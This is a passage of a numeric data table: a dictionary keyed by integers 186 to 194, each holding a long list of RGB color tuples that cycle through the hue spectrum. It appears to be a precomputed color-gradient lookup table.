204, 162), (101, 204, 165), (101, 204, 169), (101, 204, 172), (101, 204, 175), (101, 204, 179), (101, 204, 182), (101, 204, 185), (101, 204, 189), (101, 204, 192), (101, 204, 195), (101, 204, 199), (101, 204, 202), (101, 202, 204), (101, 199, 204), (101, 195, 204), (101, 192, 204), (101, 189, 204), (101, 185, 204), (101, 182, 204), (101, 179, 204), (101, 175, 204), (101, 172, 204), (101, 169, 204), (101, 165, 204), (101, 162, 204), (101, 159, 204), (101, 156, 204), (101, 152, 204), (101, 149, 204), (101, 146, 204), (101, 142, 204), (101, 139, 204), (101, 136, 204), (101, 132, 204), (101, 129, 204), (101, 126, 204), (101, 122, 204), (101, 119, 204), (101, 116, 204), (101, 113, 204), (101, 109, 204), (101, 106, 204), (101, 103, 204), (104, 101, 204), (107, 101, 204), (110, 101, 204), (114, 101, 204), (117, 101, 204), (120, 101, 204), (124, 101, 204), (127, 101, 204), (130, 101, 204), (133, 101, 204), (137, 101, 204), (140, 101, 204), (143, 101, 204), (147, 101, 204), (150, 101, 204), (153, 101, 204), (157, 101, 204), (160, 101, 204), (163, 101, 204), (167, 101, 204), (170, 101, 204), (173, 101, 204), (176, 101, 204), (180, 101, 204), (183, 101, 204), (186, 101, 204), (190, 101, 204), (193, 101, 204), (196, 101, 204), (200, 101, 204), (203, 101, 204), (204, 101, 201), (204, 101, 197), (204, 101, 194), (204, 101, 191), (204, 101, 188), (204, 101, 184), (204, 101, 181), (204, 101, 178), (204, 101, 174), (204, 101, 171), (204, 101, 168), (204, 101, 164), (204, 101, 161), (204, 101, 158), (204, 101, 154), (204, 101, 151), (204, 101, 148), (204, 101, 145), (204, 101, 141), (204, 101, 138), (204, 101, 135), (204, 101, 131), (204, 101, 128), (204, 101, 125), (204, 101, 121), (204, 101, 118), (204, 101, 115), (204, 101, 111), (204, 101, 108), (204, 101, 105)], 186: [(204, 101, 101), (204, 105, 101), (204, 108, 101), (204, 111, 101), (204, 115, 101), (204, 118, 101), (204, 121, 101), (204, 125, 101), (204, 128, 101), (204, 131, 101), (204, 134, 101), (204, 138, 101), (204, 141, 101), (204, 144, 101), (204, 148, 101), (204, 151, 101), (204, 154, 101), (204, 157, 101), (204, 161, 101), (204, 164, 101), (204, 167, 101), (204, 171, 101), (204, 174, 101), (204, 177, 101), (204, 180, 101), (204, 184, 101), (204, 187, 101), (204, 190, 101), (204, 194, 101), (204, 197, 101), (204, 200, 101), (204, 204, 101), (200, 204, 101), (197, 204, 101), (194, 204, 101), (190, 204, 101), (187, 204, 101), (184, 204, 101), (180, 204, 101), (177, 204, 101), (174, 204, 101), (171, 204, 101), (167, 204, 101), (164, 204, 101), (161, 204, 101), (157, 204, 101), (154, 204, 101), (151, 204, 101), (148, 204, 101), (144, 204, 101), (141, 204, 101), (138, 204, 101), (134, 204, 101), (131, 204, 101), (128, 204, 101), (125, 204, 101), (121, 204, 101), (118, 204, 101), (115, 204, 101), (111, 204, 101), (108, 204, 101), (105, 204, 101), (101, 204, 102), (101, 204, 105), (101, 204, 108), (101, 204, 111), (101, 204, 115), (101, 204, 118), (101, 204, 121), (101, 204, 125), (101, 204, 128), (101, 204, 131), (101, 204, 134), (101, 204, 138), (101, 204, 141), (101, 204, 144), (101, 204, 148), (101, 204, 151), (101, 204, 154), (101, 204, 157), (101, 204, 161), (101, 204, 164), (101, 204, 167), (101, 204, 171), (101, 204, 174), (101, 204, 177), (101, 204, 180), (101, 204, 184), (101, 204, 187), (101, 204, 190), (101, 204, 194), (101, 204, 197), (101, 204, 200), (101, 204, 204), (101, 200, 204), (101, 197, 204), (101, 194, 204), (101, 190, 204), (101, 187, 204), (101, 184, 204), (101, 180, 204), (101, 177, 204), (101, 174, 204), (101, 171, 204), (101, 167, 204), (101, 164, 204), (101, 161, 204), (101, 157, 204), (101, 154, 204), (101, 151, 204), (101, 148, 204), (101, 144, 204), (101, 141, 204), (101, 138, 204), (101, 134, 204), (101, 131, 204), (101, 128, 204), (101, 125, 204), (101, 121, 204), (101, 118, 204), (101, 115, 204), (101, 111, 204), (101, 108, 204), (101, 105, 204), (101, 101, 204), (105, 101, 204), (108, 101, 204), (111, 101, 204), (115, 101, 204), (118, 101, 204), (121, 101, 204), (125, 101, 204), (128, 101, 204), (131, 101, 204), (134, 101, 204), (138, 101, 204), (141, 101, 204), (144, 101, 204), (148, 101, 204), (151, 101, 204), (154, 101, 204), (157, 101, 204), (161, 101, 204), (164, 101, 204), (167, 101, 204), (171, 101, 204), (174, 101, 204), (177, 101, 204), (180, 101, 204), (184, 101, 204), (187, 101, 204), (190, 101, 204), (194, 101, 204), (197, 101, 204), (200, 101, 204), (204, 101, 203), (204, 101, 200), (204, 101, 197), (204, 101, 194), (204, 101, 190), (204, 101, 187), (204, 101, 184), (204, 101, 180), (204, 101, 177), (204, 101, 174), (204, 101, 171), (204, 101, 167), (204, 101, 164), (204, 101, 161), (204, 101, 157), (204, 101, 154), (204, 101, 151), (204, 101, 148), (204, 101, 144), (204, 101, 141), (204, 101, 138), (204, 101, 134), (204, 101, 131), (204, 101, 128), (204, 101, 125), (204, 101, 121), (204, 101, 118), (204, 101, 115), (204, 101, 111), (204, 101, 108), (204, 101, 105)], 187: [(204, 101, 101), (204, 105, 101), (204, 108, 101), (204, 111, 101), (204, 115, 101), (204, 118, 101), (204, 121, 101), (204, 124, 101), (204, 128, 101), (204, 131, 101), (204, 134, 101), (204, 138, 101), (204, 141, 101), (204, 144, 101), (204, 147, 101), (204, 151, 101), (204, 154, 101), (204, 157, 101), (204, 160, 101), (204, 164, 101), (204, 167, 101), (204, 170, 101), (204, 174, 101), (204, 177, 101), (204, 180, 101), (204, 183, 101), (204, 187, 101), (204, 190, 101), (204, 193, 101), (204, 196, 101), (204, 200, 101), (204, 203, 101), (201, 204, 101), (198, 204, 101), (194, 204, 101), (191, 204, 101), (188, 204, 101), (184, 204, 101), (181, 204, 101), (178, 204, 101), (175, 204, 101), (171, 204, 101), (168, 204, 101), (165, 204, 101), (162, 204, 101), (158, 204, 101), (155, 204, 101), (152, 204, 101), (148, 204, 101), (145, 204, 101), (142, 204, 101), (139, 204, 101), (135, 204, 101), (132, 204, 101), (129, 204, 101), (125, 204, 101), (122, 204, 101), (119, 204, 101), (116, 204, 101), (112, 204, 101), (109, 204, 101), (106, 204, 101), (103, 204, 101), (101, 204, 104), (101, 204, 107), (101, 204, 110), (101, 204, 114), (101, 204, 117), (101, 204, 120), (101, 204, 123), (101, 204, 127), (101, 204, 130), (101, 204, 133), (101, 204, 136), (101, 204, 140), (101, 204, 143), (101, 204, 146), (101, 204, 149), (101, 204, 153), (101, 204, 156), (101, 204, 159), (101, 204, 163), (101, 204, 166), (101, 204, 169), (101, 204, 172), (101, 204, 176), (101, 204, 179), (101, 204, 182), (101, 204, 186), (101, 204, 189), (101, 204, 192), (101, 204, 195), (101, 204, 199), (101, 204, 202), (101, 202, 204), (101, 199, 204), (101, 195, 204), (101, 192, 204), (101, 189, 204), (101, 186, 204), (101, 182, 204), (101, 179, 204), (101, 176, 204), (101, 172, 204), (101, 169, 204), (101, 166, 204), (101, 163, 204), (101, 159, 204), (101, 156, 204), (101, 153, 204), (101, 149, 204), (101, 146, 204), (101, 143, 204), (101, 140, 204), (101, 136, 204), (101, 133, 204), (101, 130, 204), (101, 127, 204), (101, 123, 204), (101, 120, 204), (101, 117, 204), (101, 114, 204), (101, 110, 204), (101, 107, 204), (101, 104, 204), (103, 101, 204), (106, 101, 204), (109, 101, 204), (112, 101, 204), (116, 101, 204), (119, 101, 204), (122, 101, 204), (125, 101, 204), (129, 101, 204), (132, 101, 204), (135, 101, 204), (139, 101, 204), (142, 101, 204), (145, 101, 204), (148, 101, 204), (152, 101, 204), (155, 101, 204), (158, 101, 204), (161, 101, 204), (165, 101, 204), (168, 101, 204), (171, 101, 204), (175, 101, 204), (178, 101, 204), (181, 101, 204), (184, 101, 204), (188, 101, 204), (191, 101, 204), (194, 101, 204), (197, 101, 204), (201, 101, 204), (204, 101, 203), (204, 101, 200), (204, 101, 196), (204, 101, 193), (204, 101, 190), (204, 101, 187), (204, 101, 183), (204, 101, 180), (204, 101, 177), (204, 101, 173), (204, 101, 170), (204, 101, 167), (204, 101, 164), (204, 101, 160), (204, 101, 157), (204, 101, 154), (204, 101, 151), (204, 101, 147), (204, 101, 144), (204, 101, 141), (204, 101, 137), (204, 101, 134), (204, 101, 131), (204, 101, 128), (204, 101, 124), (204, 101, 121), (204, 101, 118), (204, 101, 115), (204, 101, 111), (204, 101, 108), (204, 101, 105)], 188: [(204, 101, 101), (204, 105, 101), (204, 108, 101), (204, 111, 101), (204, 115, 101), (204, 118, 101), (204, 121, 101), (204, 124, 101), (204, 128, 101), (204, 131, 101), (204, 134, 101), (204, 137, 101), (204, 141, 101), (204, 144, 101), (204, 147, 101), (204, 150, 101), (204, 154, 101), (204, 157, 101), (204, 160, 101), (204, 163, 101), (204, 167, 101), (204, 170, 101), (204, 173, 101), (204, 176, 101), (204, 180, 101), (204, 183, 101), (204, 186, 101), (204, 189, 101), (204, 193, 101), (204, 196, 101), (204, 199, 101), (204, 202, 101), (201, 204, 101), (198, 204, 101), (195, 204, 101), (192, 204, 101), (188, 204, 101), (185, 204, 101), (182, 204, 101), (179, 204, 101), (175, 204, 101), (172, 204, 101), (169, 204, 101), (166, 204, 101), (162, 204, 101), (159, 204, 101), (156, 204, 101), (153, 204, 101), (149, 204, 101), (146, 204, 101), (143, 204, 101), (139, 204, 101), (136, 204, 101), (133, 204, 101), (130, 204, 101), (126, 204, 101), (123, 204, 101), (120, 204, 101), (117, 204, 101), (113, 204, 101), (110, 204, 101), (107, 204, 101), (104, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 109), (101, 204, 112), (101, 204, 116), (101, 204, 119), (101, 204, 122), (101, 204, 125), (101, 204, 129), (101, 204, 132), (101, 204, 135), (101, 204, 138), (101, 204, 142), (101, 204, 145), (101, 204, 148), (101, 204, 151), (101, 204, 155), (101, 204, 158), (101, 204, 161), (101, 204, 164), (101, 204, 168), (101, 204, 171), (101, 204, 174), (101, 204, 177), (101, 204, 181), (101, 204, 184), (101, 204, 187), (101, 204, 190), (101, 204, 194), (101, 204, 197), (101, 204, 200), (101, 204, 204), (101, 200, 204), (101, 197, 204), (101, 194, 204), (101, 190, 204), (101, 187, 204), (101, 184, 204), (101, 181, 204), (101, 177, 204), (101, 174, 204), (101, 171, 204), (101, 168, 204), (101, 164, 204), (101, 161, 204), (101, 158, 204), (101, 155, 204), (101, 151, 204), (101, 148, 204), (101, 145, 204), (101, 142, 204), (101, 138, 204), (101, 135, 204), (101, 132, 204), (101, 129, 204), (101, 125, 204), (101, 122, 204), (101, 119, 204), (101, 116, 204), (101, 112, 204), (101, 109, 204), (101, 106, 204), (101, 103, 204), (104, 101, 204), (107, 101, 204), (110, 101, 204), (113, 101, 204), (117, 101, 204), (120, 101, 204), (123, 101, 204), (126, 101, 204), (130, 101, 204), (133, 101, 204), (136, 101, 204), (139, 101, 204), (143, 101, 204), (146, 101, 204), (149, 101, 204), (152, 101, 204), (156, 101, 204), (159, 101, 204), (162, 101, 204), (166, 101, 204), (169, 101, 204), (172, 101, 204), (175, 101, 204), (179, 101, 204), (182, 101, 204), (185, 101, 204), (188, 101, 204), (192, 101, 204), (195, 101, 204), (198, 101, 204), (201, 101, 204), (204, 101, 202), (204, 101, 199), (204, 101, 196), (204, 101, 193), (204, 101, 189), (204, 101, 186), (204, 101, 183), (204, 101, 180), (204, 101, 176), (204, 101, 173), (204, 101, 170), (204, 101, 167), (204, 101, 163), (204, 101, 160), (204, 101, 157), (204, 101, 154), (204, 101, 150), (204, 101, 147), (204, 101, 144), (204, 101, 141), (204, 101, 137), (204, 101, 134), (204, 101, 131), (204, 101, 128), (204, 101, 124), (204, 101, 121), (204, 101, 118), (204, 101, 115), (204, 101, 111), (204, 101, 108), (204, 101, 105)], 189: [(204, 101, 101), (204, 105, 101), (204, 108, 101), (204, 111, 101), (204, 114, 101), (204, 118, 101), (204, 121, 101), (204, 124, 101), (204, 127, 101), (204, 131, 101), (204, 134, 101), (204, 137, 101), (204, 140, 101), (204, 144, 101), (204, 147, 101), (204, 150, 101), (204, 153, 101), (204, 157, 101), (204, 160, 101), (204, 163, 101), (204, 166, 101), (204, 170, 101), (204, 173, 101), (204, 176, 101), (204, 179, 101), (204, 182, 101), (204, 186, 101), (204, 189, 101), (204, 192, 101), (204, 195, 101), (204, 199, 101), (204, 202, 101), (202, 204, 101), (199, 204, 101), (195, 204, 101), (192, 204, 101), (189, 204, 101), (186, 204, 101), (182, 204, 101), (179, 204, 101), (176, 204, 101), (173, 204, 101), (169, 204, 101), (166, 204, 101), (163, 204, 101), (160, 204, 101), (157, 204, 101), (153, 204, 101), (150, 204, 101), (147, 204, 101), (144, 204, 101), (140, 204, 101), (137, 204, 101), (134, 204, 101), (131, 204, 101), (127, 204, 101), (124, 204, 101), (121, 204, 101), (118, 204, 101), (114, 204, 101), (111, 204, 101), (108, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 105), (101, 204, 108), (101, 204, 111), (101, 204, 114), (101, 204, 118), (101, 204, 121), (101, 204, 124), (101, 204, 127), (101, 204, 131), (101, 204, 134), (101, 204, 137), (101, 204, 140), (101, 204, 144), (101, 204, 147), (101, 204, 150), (101, 204, 153), (101, 204, 157), (101, 204, 160), (101, 204, 163), (101, 204, 166), (101, 204, 170), (101, 204, 173), (101, 204, 176), (101, 204, 179), (101, 204, 182), (101, 204, 186), (101, 204, 189), (101, 204, 192), (101, 204, 195), (101, 204, 199), (101, 204, 202), (101, 202, 204), (101, 199, 204), (101, 195, 204), (101, 192, 204), (101, 189, 204), (101, 186, 204), (101, 182, 204), (101, 179, 204), (101, 176, 204), (101, 173, 204), (101, 169, 204), (101, 166, 204), (101, 163, 204), (101, 160, 204), (101, 157, 204), (101, 153, 204), (101, 150, 204), (101, 147, 204), (101, 144, 204), (101, 140, 204), (101, 137, 204), (101, 134, 204), (101, 131, 204), (101, 127, 204), (101, 124, 204), (101, 121, 204), (101, 118, 204), (101, 114, 204), (101, 111, 204), (101, 108, 204), (101, 105, 204), (101, 102, 204), (105, 101, 204), (108, 101, 204), (111, 101, 204), (114, 101, 204), (118, 101, 204), (121, 101, 204), (124, 101, 204), (127, 101, 204), (131, 101, 204), (134, 101, 204), (137, 101, 204), (140, 101, 204), (144, 101, 204), (147, 101, 204), (150, 101, 204), (153, 101, 204), (157, 101, 204), (160, 101, 204), (163, 101, 204), (166, 101, 204), (169, 101, 204), (173, 101, 204), (176, 101, 204), (179, 101, 204), (182, 101, 204), (186, 101, 204), (189, 101, 204), (192, 101, 204), (195, 101, 204), (199, 101, 204), (202, 101, 204), (204, 101, 202), (204, 101, 199), (204, 101, 195), (204, 101, 192), (204, 101, 189), (204, 101, 186), (204, 101, 182), (204, 101, 179), (204, 101, 176), (204, 101, 173), (204, 101, 169), (204, 101, 166), (204, 101, 163), (204, 101, 160), (204, 101, 157), (204, 101, 153), (204, 101, 150), (204, 101, 147), (204, 101, 144), (204, 101, 140), (204, 101, 137), (204, 101, 134), (204, 101, 131), (204, 101, 127), (204, 101, 124), (204, 101, 121), (204, 101, 118), (204, 101, 114), (204, 101, 111), (204, 101, 108), (204, 101, 105)], 190: [(204, 101, 101), (204, 105, 101), (204, 108, 101), (204, 111, 101), (204, 114, 101), (204, 118, 101), (204, 121, 101), (204, 124, 101), (204, 127, 101), (204, 130, 101), (204, 134, 101), (204, 137, 101), (204, 140, 101), (204, 143, 101), (204, 147, 101), (204, 150, 101), (204, 153, 101), (204, 156, 101), (204, 159, 101), (204, 163, 101), (204, 166, 101), (204, 169, 101), (204, 172, 101), (204, 176, 101), (204, 179, 101), (204, 182, 101), (204, 185, 101), (204, 188, 101), (204, 192, 101), (204, 195, 101), (204, 198, 101), (204, 201, 101), (202, 204, 101), (199, 204, 101), (196, 204, 101), (193, 204, 101), (190, 204, 101), (186, 204, 101), (183, 204, 101), (180, 204, 101), (177, 204, 101), (173, 204, 101), (170, 204, 101), (167, 204, 101), (164, 204, 101), (161, 204, 101), (157, 204, 101), (154, 204, 101), (151, 204, 101), (148, 204, 101), (144, 204, 101), (141, 204, 101), (138, 204, 101), (135, 204, 101), (132, 204, 101), (128, 204, 101), (125, 204, 101), (122, 204, 101), (119, 204, 101), (115, 204, 101), (112, 204, 101), (109, 204, 101), (106, 204, 101), (103, 204, 101), (101, 204, 104), (101, 204, 107), (101, 204, 110), (101, 204, 113), (101, 204, 117), (101, 204, 120), (101, 204, 123), (101, 204, 126), (101, 204, 129), (101, 204, 133), (101, 204, 136), (101, 204, 139), (101, 204, 142), (101, 204, 146), (101, 204, 149), (101, 204, 152), (101, 204, 155), (101, 204, 158), (101, 204, 162), (101, 204, 165), (101, 204, 168), (101, 204, 171), (101, 204, 175), (101, 204, 178), (101, 204, 181), (101, 204, 184), (101, 204, 187), (101, 204, 191), (101, 204, 194), (101, 204, 197), (101, 204, 200), (101, 204, 204), (101, 200, 204), (101, 197, 204), (101, 194, 204), (101, 191, 204), (101, 187, 204), (101, 184, 204), (101, 181, 204), (101, 178, 204), (101, 175, 204), (101, 171, 204), (101, 168, 204), (101, 165, 204), (101, 162, 204), (101, 158, 204), (101, 155, 204), (101, 152, 204), (101, 149, 204), (101, 146, 204), (101, 142, 204), (101, 139, 204), (101, 136, 204), (101, 133, 204), (101, 129, 204), (101, 126, 204), (101, 123, 204), (101, 120, 204), (101, 117, 204), (101, 113, 204), (101, 110, 204), (101, 107, 204), (101, 104, 204), (103, 101, 204), (106, 101, 204), (109, 101, 204), (112, 101, 204), (115, 101, 204), (119, 101, 204), (122, 101, 204), (125, 101, 204), (128, 101, 204), (132, 101, 204), (135, 101, 204), (138, 101, 204), (141, 101, 204), (144, 101, 204), (148, 101, 204), (151, 101, 204), (154, 101, 204), (157, 101, 204), (161, 101, 204), (164, 101, 204), (167, 101, 204), (170, 101, 204), (173, 101, 204), (177, 101, 204), (180, 101, 204), (183, 101, 204), (186, 101, 204), (190, 101, 204), (193, 101, 204), (196, 101, 204), (199, 101, 204), (202, 101, 204), (204, 101, 201), (204, 101, 198), (204, 101, 195), (204, 101, 192), (204, 101, 188), (204, 101, 185), (204, 101, 182), (204, 101, 179), (204, 101, 176), (204, 101, 172), (204, 101, 169), (204, 101, 166), (204, 101, 163), (204, 101, 159), (204, 101, 156), (204, 101, 153), (204, 101, 150), (204, 101, 147), (204, 101, 143), (204, 101, 140), (204, 101, 137), (204, 101, 134), (204, 101, 130), (204, 101, 127), (204, 101, 124), (204, 101, 121), (204, 101, 118), (204, 101, 114), (204, 101, 111), (204, 101, 108), (204, 101, 105)], 191: [(204, 101, 101), (204, 105, 101), (204, 108, 101), (204, 111, 101), (204, 114, 101), (204, 118, 101), (204, 121, 101), (204, 124, 101), (204, 127, 101), (204, 130, 101), (204, 134, 101), (204, 137, 101), (204, 140, 101), (204, 143, 101), (204, 146, 101), (204, 150, 101), (204, 153, 101), (204, 156, 101), (204, 159, 101), (204, 162, 101), (204, 166, 101), (204, 169, 101), (204, 172, 101), (204, 175, 101), (204, 178, 101), (204, 182, 101), (204, 185, 101), (204, 188, 101), (204, 191, 101), (204, 194, 101), (204, 198, 101), (204, 201, 101), (203, 204, 101), (200, 204, 101), (197, 204, 101), (193, 204, 101), (190, 204, 101), (187, 204, 101), (184, 204, 101), (181, 204, 101), (177, 204, 101), (174, 204, 101), (171, 204, 101), (168, 204, 101), (165, 204, 101), (161, 204, 101), (158, 204, 101), (155, 204, 101), (152, 204, 101), (148, 204, 101), (145, 204, 101), (142, 204, 101), (139, 204, 101), (136, 204, 101), (132, 204, 101), (129, 204, 101), (126, 204, 101), (123, 204, 101), (120, 204, 101), (116, 204, 101), (113, 204, 101), (110, 204, 101), (107, 204, 101), (104, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 109), (101, 204, 112), (101, 204, 115), (101, 204, 119), (101, 204, 122), (101, 204, 125), (101, 204, 128), (101, 204, 131), (101, 204, 135), (101, 204, 138), (101, 204, 141), (101, 204, 144), (101, 204, 147), (101, 204, 151), (101, 204, 154), (101, 204, 157), (101, 204, 160), (101, 204, 163), (101, 204, 167), (101, 204, 170), (101, 204, 173), (101, 204, 176), (101, 204, 179), (101, 204, 183), (101, 204, 186), (101, 204, 189), (101, 204, 192), (101, 204, 195), (101, 204, 199), (101, 204, 202), (101, 202, 204), (101, 199, 204), (101, 195, 204), (101, 192, 204), (101, 189, 204), (101, 186, 204), (101, 183, 204), (101, 179, 204), (101, 176, 204), (101, 173, 204), (101, 170, 204), (101, 167, 204), (101, 163, 204), (101, 160, 204), (101, 157, 204), (101, 154, 204), (101, 151, 204), (101, 147, 204), (101, 144, 204), (101, 141, 204), (101, 138, 204), (101, 135, 204), (101, 131, 204), (101, 128, 204), (101, 125, 204), (101, 122, 204), (101, 119, 204), (101, 115, 204), (101, 112, 204), (101, 109, 204), (101, 106, 204), (101, 103, 204), (104, 101, 204), (107, 101, 204), (110, 101, 204), (113, 101, 204), (116, 101, 204), (120, 101, 204), (123, 101, 204), (126, 101, 204), (129, 101, 204), (132, 101, 204), (136, 101, 204), (139, 101, 204), (142, 101, 204), (145, 101, 204), (148, 101, 204), (152, 101, 204), (155, 101, 204), (158, 101, 204), (161, 101, 204), (165, 101, 204), (168, 101, 204), (171, 101, 204), (174, 101, 204), (177, 101, 204), (181, 101, 204), (184, 101, 204), (187, 101, 204), (190, 101, 204), (193, 101, 204), (197, 101, 204), (200, 101, 204), (203, 101, 204), (204, 101, 201), (204, 101, 198), (204, 101, 194), (204, 101, 191), (204, 101, 188), (204, 101, 185), (204, 101, 182), (204, 101, 178), (204, 101, 175), (204, 101, 172), (204, 101, 169), (204, 101, 166), (204, 101, 162), (204, 101, 159), (204, 101, 156), (204, 101, 153), (204, 101, 150), (204, 101, 146), (204, 101, 143), (204, 101, 140), (204, 101, 137), (204, 101, 134), (204, 101, 130), (204, 101, 127), (204, 101, 124), (204, 101, 121), (204, 101, 118), (204, 101, 114), (204, 101, 111), (204, 101, 108), (204, 101, 105)], 192: [(204, 101, 101), (204, 105, 101), (204, 108, 101), (204, 111, 101), (204, 114, 101), (204, 117, 101), (204, 121, 101), (204, 124, 101), (204, 127, 101), (204, 130, 101), (204, 133, 101), (204, 137, 101), (204, 140, 101), (204, 143, 101), (204, 146, 101), (204, 149, 101), (204, 152, 101), (204, 156, 101), (204, 159, 101), (204, 162, 101), (204, 165, 101), (204, 168, 101), (204, 172, 101), (204, 175, 101), (204, 178, 101), (204, 181, 101), (204, 184, 101), (204, 188, 101), (204, 191, 101), (204, 194, 101), (204, 197, 101), (204, 200, 101), (204, 204, 101), (200, 204, 101), (197, 204, 101), (194, 204, 101), (191, 204, 101), (188, 204, 101), (184, 204, 101), (181, 204, 101), (178, 204, 101), (175, 204, 101), (172, 204, 101), (168, 204, 101), (165, 204, 101), (162, 204, 101), (159, 204, 101), (156, 204, 101), (153, 204, 101), (149, 204, 101), (146, 204, 101), (143, 204, 101), (140, 204, 101), (137, 204, 101), (133, 204, 101), (130, 204, 101), (127, 204, 101), (124, 204, 101), (121, 204, 101), (117, 204, 101), (114, 204, 101), (111, 204, 101), (108, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 105), (101, 204, 108), (101, 204, 111), (101, 204, 114), (101, 204, 117), (101, 204, 121), (101, 204, 124), (101, 204, 127), (101, 204, 130), (101, 204, 133), (101, 204, 137), (101, 204, 140), (101, 204, 143), (101, 204, 146), (101, 204, 149), (101, 204, 152), (101, 204, 156), (101, 204, 159), (101, 204, 162), (101, 204, 165), (101, 204, 168), (101, 204, 172), (101, 204, 175), (101, 204, 178), (101, 204, 181), (101, 204, 184), (101, 204, 188), (101, 204, 191), (101, 204, 194), (101, 204, 197), (101, 204, 200), (101, 204, 204), (101, 200, 204), (101, 197, 204), (101, 194, 204), (101, 191, 204), (101, 188, 204), (101, 184, 204), (101, 181, 204), (101, 178, 204), (101, 175, 204), (101, 172, 204), (101, 168, 204), (101, 165, 204), (101, 162, 204), (101, 159, 204), (101, 156, 204), (101, 153, 204), (101, 149, 204), (101, 146, 204), (101, 143, 204), (101, 140, 204), (101, 137, 204), (101, 133, 204), (101, 130, 204), (101, 127, 204), (101, 124, 204), (101, 121, 204), (101, 117, 204), (101, 114, 204), (101, 111, 204), (101, 108, 204), (101, 105, 204), (101, 102, 204), (105, 101, 204), (108, 101, 204), (111, 101, 204), (114, 101, 204), (117, 101, 204), (121, 101, 204), (124, 101, 204), (127, 101, 204), (130, 101, 204), (133, 101, 204), (137, 101, 204), (140, 101, 204), (143, 101, 204), (146, 101, 204), (149, 101, 204), (152, 101, 204), (156, 101, 204), (159, 101, 204), (162, 101, 204), (165, 101, 204), (168, 101, 204), (172, 101, 204), (175, 101, 204), (178, 101, 204), (181, 101, 204), (184, 101, 204), (188, 101, 204), (191, 101, 204), (194, 101, 204), (197, 101, 204), (200, 101, 204), (203, 101, 204), (204, 101, 200), (204, 101, 197), (204, 101, 194), (204, 101, 191), (204, 101, 188), (204, 101, 184), (204, 101, 181), (204, 101, 178), (204, 101, 175), (204, 101, 172), (204, 101, 168), (204, 101, 165), (204, 101, 162), (204, 101, 159), (204, 101, 156), (204, 101, 153), (204, 101, 149), (204, 101, 146), (204, 101, 143), (204, 101, 140), (204, 101, 137), (204, 101, 133), (204, 101, 130), (204, 101, 127), (204, 101, 124), (204, 101, 121), (204, 101, 117), (204, 101, 114), (204, 101, 111), (204, 101, 108), (204, 101, 105)], 193: [(204, 101, 101), (204, 105, 101), (204, 108, 101), (204, 111, 101), (204, 114, 101), (204, 117, 101), (204, 121, 101), (204, 124, 101), (204, 127, 101), (204, 130, 101), (204, 133, 101), (204, 136, 101), (204, 140, 101), (204, 143, 101), (204, 146, 101), (204, 149, 101), (204, 152, 101), (204, 155, 101), (204, 159, 101), (204, 162, 101), (204, 165, 101), (204, 168, 101), (204, 171, 101), (204, 174, 101), (204, 178, 101), (204, 181, 101), (204, 184, 101), (204, 187, 101), (204, 190, 101), (204, 193, 101), (204, 197, 101), (204, 200, 101), (204, 203, 101), (201, 204, 101), (198, 204, 101), (195, 204, 101), (191, 204, 101), (188, 204, 101), (185, 204, 101), (182, 204, 101), (179, 204, 101), (175, 204, 101), (172, 204, 101), (169, 204, 101), (166, 204, 101), (163, 204, 101), (160, 204, 101), (156, 204, 101), (153, 204, 101), (150, 204, 101), (147, 204, 101), (144, 204, 101), (141, 204, 101), (137, 204, 101), (134, 204, 101), (131, 204, 101), (128, 204, 101), (125, 204, 101), (122, 204, 101), (118, 204, 101), (115, 204, 101), (112, 204, 101), (109, 204, 101), (106, 204, 101), (103, 204, 101), (101, 204, 104), (101, 204, 107), (101, 204, 110), (101, 204, 113), (101, 204, 116), (101, 204, 119), (101, 204, 123), (101, 204, 126), (101, 204, 129), (101, 204, 132), (101, 204, 135), (101, 204, 138), (101, 204, 142), (101, 204, 145), (101, 204, 148), (101, 204, 151), (101, 204, 154), (101, 204, 158), (101, 204, 161), (101, 204, 164), (101, 204, 167), (101, 204, 170), (101, 204, 173), (101, 204, 177), (101, 204, 180), (101, 204, 183), (101, 204, 186), (101, 204, 189), (101, 204, 192), (101, 204, 196), (101, 204, 199), (101, 204, 202), (101, 202, 204), (101, 199, 204), (101, 196, 204), (101, 192, 204), (101, 189, 204), (101, 186, 204), (101, 183, 204), (101, 180, 204), (101, 177, 204), (101, 173, 204), (101, 170, 204), (101, 167, 204), (101, 164, 204), (101, 161, 204), (101, 158, 204), (101, 154, 204), (101, 151, 204), (101, 148, 204), (101, 145, 204), (101, 142, 204), (101, 138, 204), (101, 135, 204), (101, 132, 204), (101, 129, 204), (101, 126, 204), (101, 123, 204), (101, 119, 204), (101, 116, 204), (101, 113, 204), (101, 110, 204), (101, 107, 204), (101, 104, 204), (103, 101, 204), (106, 101, 204), (109, 101, 204), (112, 101, 204), (115, 101, 204), (118, 101, 204), (122, 101, 204), (125, 101, 204), (128, 101, 204), (131, 101, 204), (134, 101, 204), (137, 101, 204), (141, 101, 204), (144, 101, 204), (147, 101, 204), (150, 101, 204), (153, 101, 204), (156, 101, 204), (160, 101, 204), (163, 101, 204), (166, 101, 204), (169, 101, 204), (172, 101, 204), (175, 101, 204), (179, 101, 204), (182, 101, 204), (185, 101, 204), (188, 101, 204), (191, 101, 204), (195, 101, 204), (198, 101, 204), (201, 101, 204), (204, 101, 203), (204, 101, 200), (204, 101, 197), (204, 101, 193), (204, 101, 190), (204, 101, 187), (204, 101, 184), (204, 101, 181), (204, 101, 178), (204, 101, 174), (204, 101, 171), (204, 101, 168), (204, 101, 165), (204, 101, 162), (204, 101, 159), (204, 101, 155), (204, 101, 152), (204, 101, 149), (204, 101, 146), (204, 101, 143), (204, 101, 140), (204, 101, 136), (204, 101, 133), (204, 101, 130), (204, 101, 127), (204, 101, 124), (204, 101, 121), (204, 101, 117), (204, 101, 114), (204, 101, 111), (204, 101, 108), (204, 101, 105)], 194: [(204, 101, 101), (204, 105, 101), (204, 108, 101), (204, 111, 101), (204, 114, 101), (204, 117, 101), (204, 120, 101), (204, 124, 101), (204, 127, 101), (204, 130, 101), (204, 133, 101), (204, 136, 101), (204, 139, 101), (204, 143, 101), (204, 146, 101), (204, 149, 101), (204, 152, 101), (204, 155, 101), (204, 158, 101), (204, 161, 101), (204, 165, 101), (204, 168, 101), (204, 171, 101), (204, 174, 101), (204, 177, 101), (204, 180, 101), (204, 184, 101), (204, 187, 101), (204, 190, 101), (204, 193, 101), (204, 196, 101), (204, 199, 101), (204, 202, 101), (201, 204, 101), (198, 204, 101), (195, 204, 101), (192, 204, 101), (189, 204, 101), (186, 204, 101), (182, 204, 101), (179, 204, 101), 